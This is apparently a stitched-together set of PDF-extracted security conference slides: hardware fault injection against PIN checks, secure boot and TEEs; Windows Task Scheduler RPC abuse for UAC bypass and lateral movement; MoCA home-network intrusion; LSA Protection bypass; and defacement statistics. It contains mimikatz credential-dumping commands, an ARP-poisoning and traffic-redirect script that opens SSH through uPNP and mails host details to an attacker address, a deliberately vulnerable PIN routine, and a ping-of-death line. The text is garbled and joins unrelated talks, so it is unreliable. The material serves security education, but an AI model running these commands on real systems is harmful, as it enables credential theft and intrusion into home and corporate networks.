if (pin[i]!=PIN[i])
return true;
}
return false;
}
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
for (int i=0; i<strlen(pin); i++) {
if (pin[i]!=PIN[i])
return true;
}
return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf(tmp);
return result;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
char pin[80];
char tmp[80];
bool result=false;
printf("Please, introduce PIN\r\n");
gets(pin);
result = comparePIN(pin);
if (result == false) {
sprintf(tmp,"PIN correct\r\n");
} else {
sprintf(tmp,"PIN %s is
incorrect\r\
n",pin);
}
printf(tmp);
return result;
}
Bypassing authentications
Unified Diagnostic Services
Unified
Diagnostic
Services
UDS authentication
FI
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
/ /
Gl i t ch
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
/ /
Gl i t ch
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
Bypassing UDS auth with FI
Bypassing Secure Boot
Secure Boot
Internal
Boot ROM
2nd Stage
Boot Loader
Nth Stage
Boot Loader
OS loader
Application
Loader
Verify signature
& decrypt
Verify signature
& decrypt
Verify signature
& decrypt
Verify signature
& decrypt
Less privileges
Bypassing Secure Boot
Bypassing Secure Boot
//Verify image. Returns true is correct
bool verifyImage(uint8_t *image,
uint32_t len, uint8_t *sign, rsaKey) {
char *hash1, *hash2;
...
// Calculate Hash
calculateHash(image,len,hash1)
// Verify signature
verifySignature(sign, rsaKey, hash2)
// Compare hashes
if (memcmp(hash1, hash2, HASH_LEN) != 0)
return false;
else
return true;
}
//Verify image. Returns true is correct
bool verifyImage(uint8_t *image,
uint32_t len, uint8_t *sign, rsaKey) {
char *hash1, *hash2;
...
// Calculate Hash
calculateHash(image,len,hash1)
// Verify signature
verifySignature(sign, rsaKey, hash2)
// Compare hashes
if (memcmp(hash1, hash2, HASH_LEN) != 0)
return false;
else
return true;
}
void boot() {
void (*entryPoint)(void);
...
// Load image to buffer
uint32_t len = loadFlashImage(imgBuf)
// Verify image
if (verifyImage(imgBuf, len, sign,
rsaKey) == false) {
goto reset; // Auth failed
}
// Jump to image
entryPoint = imgbuf;
(*entryPoint)();
...
}
void boot() {
void (*entryPoint)(void);
...
// Load image to buffer
uint32_t len = loadFlashImage(imgBuf)
// Verify image
if (verifyImage(imgBuf, len, sign,
rsaKey) == false) {
goto reset; // Auth failed
}
// Jump to image
entryPoint = imgbuf;
(*entryPoint)();
...
}
Do you remember the FI rule #2?
Protecting a Secure Boot can be a nightmare!
FISim Demo
Escalating privileges
Escalating privileges
User space
Kernel
space
REE
TEE
REE-TEE separation
REE
CPU
TEE
CPU
REE memory
Shared memory
(mailbox)
TEE memory
Wild Jungle Jump Attack
REE
CPU
TEE
CPU
Mailbox
Payload
Payload Address
Payload Address
Payload Address
Payload Address
…
Write message
Read message
Wild Jungle Jump Attack
REE
CPU
Write message
TEE
CPU
Mailbox
Payload
Payload Address
Payload Address
Payload Address
Payload Address
…
Read message
Wild Jungle Jump Attack
TEE
CPU
Mailbox
Payload
Payload Address
Payload Address
Payload Address
Payload Address
…
Read message
memcpy(dst,src,len);
memcpy(dst,src,len);
...
loop:
ldr r0, [r3], #4
str r0, [r4], #4
...
...
loop:
ldr r0, [r3], #4
str r0, [r4], #4
...
11100100101100110000000000000100
11100100101100110000000000000100
11100100101100111111000000000100
11100100101100111111000000000100
Wild Jungle Jump Attack
TEE
CPU
Mailbox
Payload
Payload Address
Payload Address
Payload Address
Payload Address
…
Read message
memcpy(dst,src,len);
memcpy(dst,src,len);
...
loop:
ldr r0, [r3], #4
str r0, [r4], #4
...
...
loop:
ldr r0, [r3], #4
str r0, [r4], #4
...
11100100101100110000000000000100
11100100101100110000000000000100
...
loop:
ldr pc, [r3], #4
str r0, [r4], #4
...
...
loop:
ldr pc, [r3], #4
str r0, [r4], #4
...
Payload();
Payload();
Escalating privileges
Recovering crypto keys
Recovering crypto keys
FAULT ANALYSIS
DFA
Differential Fault Analysis
CFA
Collision Fault Analysis
SFA
Statistical Fault Analysis
DFIA
Differential Fault
Intensity Analysis
IFA
Ineffective Fault Analysis
SIFA
Statistical Ineffective
Fault Analysis
b0,0
b0,1
b0,2
b0,3
b1,0
b1,1
b1,2
b1,3
b2,0
b2,1
b2,2
b2,3
b3,0
b3,1
b3,2
b3,3
b0,0
b0,1
b0,2
b0,3
b1,0
b1,1
b1,2
b1,3
b2,0
b2,1
c2,2
b2,3
b3,0
b3,1
b3,2
b3,3
AES Fault Analysis
FI on key attributes
Key
Attributes
Key 1
AES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES
ENC/DEC
…
…
…
Crypto engine
3DES
DES
AES
Key
Attributes
Key 1
AES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES
ENC/DEC
…
…
…
Keyslot
Key
Attributes
Key 1
AES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES
ENC/DEC
…
…
…
FI on key attributes
Key
Attributes
Key 1
DES
ENC
Key 2
3DES
DEC
Key 3
AES/3DES
ENC/DEC
…
…
…
Crypto engine
3DES
DES
AES
Keyslot
Recovering crypto keys
Modifying security
configuration
Preventing the configuration
// Read fuses and configure security modules
bool disableJtag = readFuse(DISABLE_JTAG);
bool enableMemoryScrambler =
readFuse(ENABLE_MEM_SCRAMBLER);
bool enableTEE = readFuse(ENABLE_TEE);
if (disableJtag==true)
closeJtag();
if (enableMemoryScrambler==true)
configureMemoryScrambler();
if (enableTEE==true)
configureTEE();
// Read fuses and configure security modules
bool disableJtag = readFuse(DISABLE_JTAG);
bool enableMemoryScrambler =
readFuse(ENABLE_MEM_SCRAMBLER);
bool enableTEE = readFuse(ENABLE_TEE);
if (disableJtag==true)
closeJtag();
if (enableMemoryScrambler==true)
configureMemoryScrambler();
if (enableTEE==true)
configureTEE();
void boot() {
void (*entryPoint)(void);
...
// Load image to buffer
uint32_t len = loadFlashImage(imgBuf)
// Verify image
if (verifyImage(imgBuf, len, sign,
rsaKey) == false) {
goto reset; // Auth failed
}
// Jump to image
entryPoint = imgbuf;
(*entryPoint)();
...
}
void boot() {
void (*entryPoint)(void);
...
// Load image to buffer
uint32_t len = loadFlashImage(imgBuf)
// Verify image
if (verifyImage(imgBuf, len, sign,
rsaKey) == false) {
goto reset; // Auth failed
}
// Jump to image
entryPoint = imgbuf;
(*entryPoint)();
...
}
Localized Fault Injection
Electro-Magnetic FI
Laser FI
Laser Fault Injection
EM Fault Injection
Preventing FI
FI countermeasures
VS
HW
SW
Fault Injection Rule #3
HW countermeasures
1.8V
Glitch Sensors
Redundancy
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
/ /
Gl i t ch
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
/ /
Gl i t ch
el se
aut hent i cat ed( ) ;
SW countermeasure #1
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
/ /
Gl i t ched
. . .
/ / Do somet hi ng el se
. . .
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
/ /
Gl i t ched
. . .
/ / Do somet hi ng el se
. . .
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
. . .
/ / Do somet hi ng el se
. . .
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
. . .
/ / Do somet hi ng el se
. . .
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
SW countermeasure #1
sl eep( r and( ) ) ;
/ / Random del ay
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
sl eep( r and( ) ) ;
/ / Random del ay
i f ( r ecei vedKey ! = expect edKey)
not _aut hent i cat ed( ) ;
el se
aut hent i cat ed( ) ;
SW countermeasure #2
Conclusions
Remember the rules!
More information:
Protecting software against FI
https://www.riscure.com/uploads/2018/11/201708_Riscure_Whitepaper_Side_Channel_Patterns.pdf
FI on UDS:
https://www.riscure.com/uploads/2018/06/
Riscure_Whitepaper_Fault_injection_on_automotive_diagnostic_protocols.pdf
Bypassing secure boot
https://www.riscure.com/uploads/2017/10/eu-16-Timmers-Bypassing-Secure-Boot-Using-Fault-
Injection.pdf
Linux privileges escalation:
https://www.riscure.com/uploads/2017/10/
Riscure_Whitepaper_Escalating_Privileges_in_Linux_using_Fault_Injection.pdf
Optical FI
https://www.riscure.com/uploads/2017/09/Practical-optical-fault-injection-on-secure-
microcontrollers.pdf
Wild Jungle Jump attack
https://www.riscure.com/uploads/2017/09/Controlling-PC-on-ARM-using-Fault-Injection.pdf
Practical DFA
https://www.slideshare.net/secret/K8jlDL4os1evrW
WE ARE HIRING!
Shanghai
Delf t
(Netherlands)
San
Riscure North America
550 Kearny St.
Suite 330
San Francisco, CA 94108
+1 (650) 646 9979
[email protected]
Riscure B.V.
Frontier Building, Delftechpark 49
2628 XJ Delft
The Netherlands
Phone: +31 15 251 40 90
www.riscure.com
Contact:
Riscure China
2081, No.989, Changle Road
200031 Shanghai
China
Phone: +86 21 5117 5440
Wechat: RiscureChina
Ramiro Pareja
[email protected] | pdf |
你也配用计划任务?
高级攻防实验室 老草
前言
标题微软雅黑20号字
01
PART
前言
• 这是一篇老草的自我反思
• 核心技术点:TaskScheduler(Windows)
• 关联知识点:RPC/IDL/COM/UAC/横向移动/武器化
• 请勿对号入座
你也配用计划任务API?
标题微软雅黑20号字
02
PART
你也配用计划任务API?
• 正常的计划任务用法
• 抄自msdn
• 按顺序十个以上必要调用
你也配用计划任务API?
• 本质呢?
你也配用计划任务API?
• 抓个包?
你也配用计划任务API?
• 理论依据呢?
• MS-TSCH
你也配用计划任务API?
• 披着COM/DCOM皮的纯RPC
• 本地对象/帮助类: ITaskService/ITaskFolder/IAction/ITrigger
• 底层协议:SchRpc
•
看到及用到的都是假的
你也配用计划任务API?
• COM简单用法
你也配用计划任务API?
• 原生RPC
你也配用计划任务API?
•
事情的本质就是这么简单
•
那你之前都做了啥?
•
天天用impacket,就是不去看源码
你也配过UAC?
标题微软雅黑20号字
03
PART
你也配过UAC?
• 思考:为什么微软引入计划任务COM对象?
• RPC:函数约定式调用(C)
• COM:面向对象(C++)
你也配过UAC?
• COM基础
• CLSID
你也配过UAC?
• COM基础
• 代理模式
你也配过UAC?
• 哪里还有计划任务?
你也配过UAC?
• 如何调用?
COM Proxy Object
你也配过UAC?
• From Elevated COM Proxy To UAC Bypass ……
你也配过UAC?
• …And Get SYSTEM Directly !
你也配玩横向移动?
标题微软雅黑20号字
04
PART
你也配玩横向移动?
•
2202年了,横移回显还要目标共享
• 除了文件/注册表,有没有更直接的方式?
你也配玩横向移动?
•
天天反序列化Gadget,就不会举一反三
• 创建远程计划任务:执行命令
• PowerShell/VBS/CSC:操作本地计划任务
• 本地客户端:查询任务信息,获取回显
你也配玩横向移动?
•
计划任务协议通信/RPC端口复用(伪)
你也配玩横向移动?
•
计划任务协议通信/RPC端口复用(伪)
你也配玩横向移动?
•
原生通信加密
你也配玩横向移动?
•
白名单进程链/无上下文
你也配做武器化?
标题微软雅黑20号字
05
PART
你也配做武器化?
•
脱离实战照本宣科抄代码做“武器”
你也配做武器化?
• 优化XML
你也配做武器化?
• RPC流量加密了吗?
你也配做武器化?
• 还在用vs生成的Interop?
• MSDN COM Interop
• C++虚函数表
你也配做武器化?
• 举一反三?
• 结合Part3/Part4,进行UAC回显
配钥匙吗?
标题微软雅黑20号字
06
PART
配钥匙吗?
• 我们真的达到“武器化”标准了吗?
• 我们真的吃透每一个技术细节了吗?
• “传统”的技术真的无需研究了吗?
配钥匙吗?
• Windows没研究明白,就开始看不起COM/RPC
•
能分清COM和RPC吗?
•
能分清协议层的DCOM和RPC吗?
•
能分清进程外COM对象、远程DCOM与COM外部代理模式吗?
配钥匙吗?
• 天天搞语言之争
•
你是专业开发吗?
•
leetcode hard刷全了吗?
•
二十几种设计模式用对了吗?
配钥匙吗?
• 天天追热点炒冷饭
•
我复现===我会了?
•
官方文档看过了吗?
•
文档写明的特性研究了吗?
配钥匙吗?
• 还在跪舔洋大人
•
你家洋大人是这么写的
配钥匙吗?
• 还在跪舔洋大人
•
你家洋大人每个技术都有配套的检测方式/Yara规则甚至防御方案
•
但是你没看
•
你还在抄代码
配钥匙吗?
• 还在跪舔洋大人
•
你家洋大人甚至背后站着白头鹰
•
技术没国界,你有国籍
总结
标题微软雅黑20号字
07
PART
THANKS! | pdf |
The future frontier of Hacking - UMTS mobile phone platform
Web intrusions: the best indicator of the vulnerable status of the Internet
Speaker: SyS64738 www.zone-h.org
Zone-H.org
Zone-H.org
Zone-H.org: the Internet thermometer?
Zone-H.org
SECURE
HACKABLE
F#CKABLE
Digital attacks amount since 2002
1600
1811 2341
3652
3907
3468
4175
5279
9884
14575
12739
16393 16724 15638
16924 17329
25273
0
5000
10000
15000
20000
25000
30000
2002-
01
2002-
02
2002-
03
2002-
04
2002-
05
2002-
06
2002-
07
2002-
08
2002-
09
2002-
10
2002-
11
2002-
12
2003-
01
2003-
02
2003-
03
2003-
04
2003-
05
Date
Digital attacks amount
Zone-H.org
attacks techniques and tools
Zone-H.org
2003 top used vulnerabilities by attackers
-Webdav
- Samba
-Frontpage extensions
- Php nuke
-Openssl
Zone-H.org
Defacement reasons
0
2000
4000
6000
8000
10000
12000
2002-
07
2002-
08
2002-
09
2002-
10
2002-
11
2002-
12
2003-
01
2003-
02
2003-
03
2003-
04
2003-
05
For fun
Revenge
Political
Challenge
Wannabe
Patriotism
Zone-H.org
Defacements by OS
0
5000
10000
15000
20000
25000
2002-01
2002-02
2002-03
2002-04
2002-05
2002-06
2002-07
2002-08
2002-09
2002-10
2002-11
2002-12
2003-01
2003-02
2003-03
2003-04
2003-05
Win98/NT
Win2K
WinXP/.NET/2003
Linux
BSD family
Solaris family
Zone-H.org
Defacements by OS (single IP)
0
1000
2000
3000
4000
5000
6000
7000
2002-01
2002-02
2002-03
2002-04
2002-05
2002-06
2002-07
2002-08
2002-09
2002-10
2002-11
2002-12
2003-01
2003-02
2003-03
2003-04
2003-05
Win98/NT
Win2K
Linux
BSD family
Solaris family
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBERFIGHTS
Kashmir related
Iraq war related
Code red release related
Palestine-Israel related
No-Global related
Zone-H.org
CYBER-CRIMES ARE CONVENIENT BECAUSE:
• Lack of IT laws
• Lack of L.E. international cooperation
• ISPs are non-transparent
CYBER-PROTESTS ARE CONVENIENT BECAUSE:
• General lack of security
• No need to protest on streets
• No direct confrontation with L.E.
Zone-H.org
CYBER-CRIMES WILL NEVER STOP BECAUSE:
• Inherent slowness of the Institutions
• The Internet is getting more complicated
• Software producers are facing a market challenge
Zone-H.org
UMTS
Traditional
hacker’s
limited
world
Our every day's
life activities
Universal
Mobile
Telecommunication
System
UMTS vs Wi-Fi (P.A.P.) why not?
• 80.000.000.000 USD paid for UMTS
licenses and tight development plans will
force Telecoms to spread the UMTS service
as fast as possible offering connectivity at a
very convenient price.
Zone-H.org
The UMTS 3G platform
• Videoconference
• Full multi-media platform
• Data bank
• Office files
• Mobile computing
• Web browsing
Zone-H.org
NO LIMITS: they will do whatever
a PC currently does as they will be
powered by Windows, Linux and
other commercial OSs
+
+
+
Zone-H.org
+
+
+
=
How UMTS works
Zone-H.org
USIM
Wireless node
Radio network controller
ATM
network
128bit Key
128bit Key
Mobile
switching
center
Visiting
location
register
Encrypted area
Telephone
network
How UMTS works
Zone-H.org
USIM
Wireless node
Radio network controller
ATM
network
128bit Key
128bit Key
Mobile
switching
center
Visiting
location
register
Encrypted area
Telephone
network
http://lasecwww.epfl.ch/newtechnologies/slides8.pdf
How crackers will exploit UMTS
• Using OS security flaws
• Through open ports
• Virus (mail, downloaded prgs)
• Trojan (mail, downloaded prgs)
• Using components flaws (media player
browser, active sync etc.)
• Webserver flaws
• Exploiting application
level
Zone-H.org
DIRECT DAMAGES
• Loss of precious information
• Denial of service (received)
• Denial of service (attack), $$$ loss
• Espionage (loss of documents)
• Eavesdropping (audio and video)
• Unauthorized online shopping
• Bank account unauthorized access
Zone-H.org
Privacy threat
• Cyber-stalking (GPS)
• Cyber-stalking (last node ID)
• Direct targeting . The wideband nature of the
UTRA/FDD facilitates the high resolution in
position location. The duration of one chip
(3.84Mcps) correspond to approximately 78
meters in propagation distance. If the delay
estimation operates on the accuracy of
samples/chip then the achievable maximum
accuracy is approximately 20 meters.
Zone-H.org
What a UMTS hacker should study: links
• http://www.tutorgig.com/searchtgig.jsp?query=um
ts (several tutorials)
• http://www.ericsson.de/downloads/pressenews/pra
esentation_cornelius_boylan.pdf
• http://lasecwww.epfl.ch/newtechnologies/slides8.p
df (excellent paper)
• http://www.sans.org/rr/paper.php?id=253
• http://www.pocketpcdn.com/
• http://www.itsx.com/pocketpc/BH-AMS-2003-
itsx.ppt
• http://www.3gpp.org/specs/titles-numbers.htm (all
3G specs and current releases)
Zone-H.org
Home automation
H.A.S. WORLD
UMTS WORLD
(EIBA, X10)
The Internet refrigerator
The fridge’s built-in PC is a low-spec affair based on a 300MHz National
Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk.
The Internet refrigerator
The fridge’s built-in PC is a low-spec affair based on a 300MHz National
Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk.
It runs a modified version of Windows 98
The Internet refrigerator
The fridge’s built-in PC is a low-spec affair based on a 300MHz National
Semiconductor Geode processor, 128MB of RAM and a 17GB hard disk.
It runs a modified version of Windows 98
Ping –l 65535 xxx.xxx.xxx.xxx
The Internet oven
HONEY, OUR THANKSGIVING TURKEY HAS
BEEN BURNED BY A PAKISTANI
CYBERFIGHTER IN RETALIATION OF THE
KASHMIR TERRITORY OCCUPATION …
Are we now scared about
the implementation of
these new technologies?
What system will be invented to let us
feel secure and keep our privacy safe?
Is there anyone who can help me to get
rid of these techno-nightmares?
Zone-H.org
Call 1-800-AMISH !!!
SyS64738 Zone-H.org [email protected] | pdf |
Raspberry MoCA
A recipe for compromise
Your Presenter
Andrew Hunt
Graduate student at George Mason University
[email protected]
The views presented in this talk do not reflect
the views of my employer. It is an independent
work.
Media over Coaxial Alliance
• A bunch of media companies got together
• How to make use of widely deployed coaxial
cabling to deliver content?
o Shielded
o Lots of frequency bandwidth
o Carries signal 500 feet
• PHY/MAC specification
• Creates a network of the coaxial bus
• Delivers guaranteed bandwidths at certain
distances
What does MoCA look like?
MoCA Operation: PHY
• PHY is the coaxial cable
• Frequencies & signaling
o Orthogonal Frequency Division Multiplexing
o WAN and LAN channel sets
MoCA Operation: MAC
• Media Access Control
o Scheduled frames
o Master node controller
o Time Division Multiple Access
o Assured speeds
PHY Rate
(Mbps)
Minimum
MAC
Rate (Mbps)
≥275
139.87
250
130.78
225
119.45
200
107.74
175
95.64
150
81.98
125
68.32
100
54.65
75
39.82
MoCA, definitely caffeinated
• Enables ‘triple play’
• Desired by ISPs
• HDTV requirements
• Guaranteed speeds
More prevalent than Starbucks
• Most consumers don’t even know they have it
• North American and European service
providers already deploy it
• In other words, just about every broadband
installation
o FIOS
o Cable/Xfinity
o Dish/Satellite
o DVR
o STB
The Wall Wart
• Optical cable run from the neighborhood
splitter to the home
• Optical Network Terminator (ONT) installed
on the exterior of the home
o Bridges the fiber to coaxial or CAT5 cable
o ISP prefers coaxial ! MoCA
MoCA Inside
• Actiontec Router
o SPI firewall
o NAT router
" LAN - WAN
o 2 MoCA nodes (NC)
o MoCA-to-Ethernet bridge
• Digital Video Recorder
o MoCA networking on board
o Depends on Actiontec router
" Time sync
" TV channel data
Let’s draw that out a little more
No Keys Required
OH SNAP!
TAKE
IT ALL
Remember, MoCA looks like this?
DOUBLE SNAP! IT’S OUTSIDE!
ATTACK HERE
Walk up and jack in
• Utility point-of-presence
• ONT + root coax splitter
+ power = SCORE!
• Many homes have low
plants growing around to
obscure the equipment
o That will provide useful
cover for the attacking
equipment
Tools of the Trade
• MoCA-to-Ethernet bridge
• RG-6 Coaxial Cable
• >1GHz Coaxial Splitter
Burning Bridges
• Connect the attack
device to the
bridge’s Ethernet
interface
• Actiontec LAN
does not engage
link protection
o Any device can
connect
What just happened here?
• A MoCA device has been added to the
coaxial bus
• Remember, both MoCA WAN and LAN run
on the same physical bus
• The bus is terminates outside the home
• By attaching to the MoCA LAN, the internal
Ethernet LAN has been extended outside the
home
Situation normal
SNAFU
What could possibly go wrong?
• Enables attacks defeated by a firewall
• Network redirection
o Address resolution protocol poisoning
o DHCP response spoofs
o DNS hijacking
• Traffic profiling
o Deep packet inspection
o What do you do at home that you wouldn’t do at
work?
• What’s old is new again! Hello 2001!
Ethernet attacks, so retro!
• Enables direct attack against the local
Ethernet network
• Many attacker tools and frameworks have
been developed to automate infiltration
o Ettercap
o dnsniff
o Metasploit
o BeEF
o EvilGrade
o Karmetasploit
This tattoo will protect me from harm!
• MoCA filters
• Block signal in the
MoCA ranges
• Marketed as a
security layer to
protect against
unwanted MoCA
signals
• Typically located on the
feed to the splitter
o Almost always exposed
• Designed to prevent signal
bleed between houses
o NOT between the interior and
exterior walls.
Building a disposable attack unit
• This is a problem that needs more attention
• Create a platform to automate the
compromise of a MoCA network
• Illustrate that the compromise of most target
domiciles is as simple as walking up to them
ATTACK HERE
Requirements
• Drop-in physical toolkit
o Physical insertion
o Power
o Computing device
• Remote access to toolkit
o Reverse tunnel, requires a server
o Port forwarding?
• Traffic redirection
• Content manipulation
Design Objectives
• DO NO HARM
o This is a demo for educational purposes
o Random useless site redirection is obvious,
nondestructive
• Use standard tools
o Less profiling
o Updatable
o Disposable
• Minimize power consumption
o Enable attacker to walk away and preserve cover
o Unit must last at least a day
• Control costs
Ingredients
• Universal Power Supply
o APC BackUPS 350 ES
o Management software for soft shutdown
o Can turn off the alarm
o ~60 hours uptime for a 3VA device, like an ARM
• Raspberry Pi
o Model B – 512 MB RAM
o ARM11 processor
o Minimal power consumption
o Requires 8GB class 10 SD Card for storage (OS)
o Cheap
Ingredients
• Kali Linux
o Standard penetration testing distribution
o Has necessary tools – Ettercap, perl, python
o Extendable via Debian repositories
" squid, apache, miniupnp
o Available images for ARM, including Raspberry Pi
o FREE
• Universal Plug-n-play IGD protocol
o Actiontec firewall/router
• MoCA-to-Ethernet bridge
o Netgear MCAB1001
Universal Plug-n-Play
• uPNP enables service discovery on
broadcast domains
• UDP port 1900
• No authentication
• No routing required, everything just blabs
o iPhone
o Computer
o Printer
o TVs - DLNA
o Router
Internet Gateway Device
• uPNP protocol to ease manipulation of firewall rules
• Allows the firewall to
adjust posture based on
the requests of internal
hosts
o No authentication
o Forwards requested
ports and sets up
NAT
• Most embedded routers
support IGD
• Supported by Microsoft,
DLNA, ISPs
How helpful!
Image Hijinks
• Transparent proxy needed to manipulate web
streams
o Squid provides URL_REWRITE facility to support 3rd
party tools
o ImageMagik libraries do the work
• I Love My Neighbors
o Josh Wright’s wireless honeypot distribution
o Accomplishes my goals (flipping pics, funny things)
o Perl scripts for URL_REWRITE
• Some BASH scripting to get it all set up
Recipe for Raspberry MoCA:
Phase 1
• Insertion and remote access
• Upon boot, execute a uPNP command to
forward an external port to local SSH server
o {External IP}:22/tcp -> {Raspberry MoCA IP}:22/tcp
• Report information to attacker
#!/bin/sh -e
# rc.local
sleep 120;
upnpc -a `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \
| awk -F\/ '{print $1}'` 22 22 tcp | tee /tmp/report \
| mailx -s `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \
| awk -F\/ '{print $1}'`.report [email protected]
exit 0
Recipe: Phase 2
• Engage image manipulation
• ARP poison the LAN
echo -n , Redirecting traffic
ettercap -D -l /root/etter.infos -m /root/etter.msgs -M arp // //
• Redirect web streams to local proxy
echo -n , Redirecting ports
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat -A PREROUTING -i eth0 -p tcp \
--destination-port 80 -j REDIRECT --to-port 3128
• Manipulate the web stream
rm /etc/squid3/url_rewrite_program
ln -s $SDIR/$1 /etc/squid3/url_rewrite_program
service squid3 restart >/dev/null
DEMO
• WATCH THIS!
famous last words….
Results
• ARM11 is single core and it shows
o A little pokey for manipulating large images
o Reduced apache and squid to 5 threads
o Lowers CPU interrupt contention
o Only use simple flips. Animated GIFs are S..L..O..W..
• Traffic redirection
o Network with six normal devices on it
o Phones, DVR, computers
o All redirected with no noticeable performance issues
" Simple replacement of the word ‘dog’ with ‘cat’
o MoCA works well for this
Results
• Compared to attack injections
o Images are huge payloads. Injections are small.
o Static payload insertion does not require heavy proc
• Raspberry MoCA Platform provides
o Guaranteed remote access for a defined time
o Quick delivery and insertion. Minimizes exposure
o Low cost platform. <$300 is disposable
o Commodity components. Minimizes profilable artifacts
o Low-latency traffic redirection and manipulation
" Find a resource and implant a more permanent
backdoor
Security needs YOU!
• This is a major exposure of the physical
transport layer
• Requires reassessment and attention from
cable installers and Internet providers
• Consumers should demand this!
Ongoing work
• Detect MoCA injections
• Alert on network insertion
o Offer something more than ArpWatch?
• SLIM and Counter-Pi
o in collaboration with Stephan Browarny
Questions?
Andrew Hunt
[email protected]
Backup
• Because sometimes things don’t go as
planned…
Man’s Best Friend
The World Upside-Down
Watch Out, Plane!
Prove it! | pdf |
Bypass LSA Protection
0x01 LSA Protection
1LSA & LSASS
LSASS (Local Security Authority Subsystem Service
Windows
LSA (Local Security Authority
Lsass
2LSA Protection
Win8.1 LSA
Lsa Protection mimikatz
LSA Microsoft LSA
0x02 LSA Protection & Bypass
1 LSA Protection
RunAsPPL 1 Lsass LSA Protection
Lsa ID 12
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD
/d 00000001 /f
1
wevtutil qe System /f:text /rd:true /c:1 "/q:*[System [(EventID=12)]]"
1
Lsass Lsa Propection mimikatz
2Bypass Lsa Protection
Bypass
Lsa Protectionmimikatz Mimidrv.sys Mimidrv.sys
WindowsWDM
privilege::debug
!+
!processprotect /process:lsass.exe /remove
sekurlsa::logonpasswords
1
2
3
4
Bypass
SAM << Hash Hash>>
privilege::debug
token::elevate
lsadump::sam
1
2
3
0x03
https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997
https://docs.microsoft.com/en-us/windows/win32/wes/windows-event-log | pdf |
Bypass firewalls, application
white lists, secure remote
desktops in 20 seconds
Zoltan Balazs
DEF CON 22, 2014
Hungary
root@bt:~# whoami
Zoltán Balázs
root@bt:~# whoami
root@bt:~# whoami
AV testing
AV bypass
root@bt:~# whoami
OSCP: Occasional Satire Captain Punk
CISSP: Certified Interspecie-ial Sheep Shearing Professional
CPTS: Certified Pajama Toaster Specialist
MCP: Microsoft Certified Psychopath
OSWP: Official Sexiest Weasel Popstar
CHFI: Chronic Hopeless Flux Incompetent
I’m NOT a CEH
CyberLympics@2012 CTF
2nd runners up – gula.sh
Creator of the Zombie Browser Toolkit
https://github.com/Z6543/ZombieBrowserPack
I love hacking
How do you hack high security
systems?
How do you hack high security
systems when you are not Tom Cruise?
The mission
I’m a spy
I want access to a hardened secure RDP (remote
desktop) server
E.g. server contains confidential documents
I need persistent C&C access to the RDP server
To upload/download files
Interactive remote code execution
The solution (in an ideal world)
Infected
workstation
Secure remote
desktop server
1. Infect client’s
desktop
2. Steal RDP password
3. Connect to RDP
4. Drop malware
5. Command and Control
6. Profit
The challenges
RDP server is not reachable from the Internet
Directly …
Two factor authentication is used to access the RDP server
No access to the token seeds ;)
Drive mapping disabled – no direct file copy
Restricted hardware firewall
Allows workstation -> server TCP port 3389 IPv4 only
Application white list is used on the RDP server
M$ Applocker in my case with default policy
Firewall, port 3389 allowed only
Is this realistic?
Similar environment at a client
•Had no time to hack it
Infected
workstation
Secure remote
desktop server
Target
Company
The Internet
Attacker
Firewall, port 3389 allowed only
“In hacking, there is no such thing
as impossible.
Only things that are more
challenging.”
Already achieved
I have remote code execution with C&C on a user’s
workstation
I have access to a test RDP server, and I know how the
files on the server look like, what services are installed
This is post-exploitation
Why should you care about this?
Red team/pentester
• New tools
Blue team
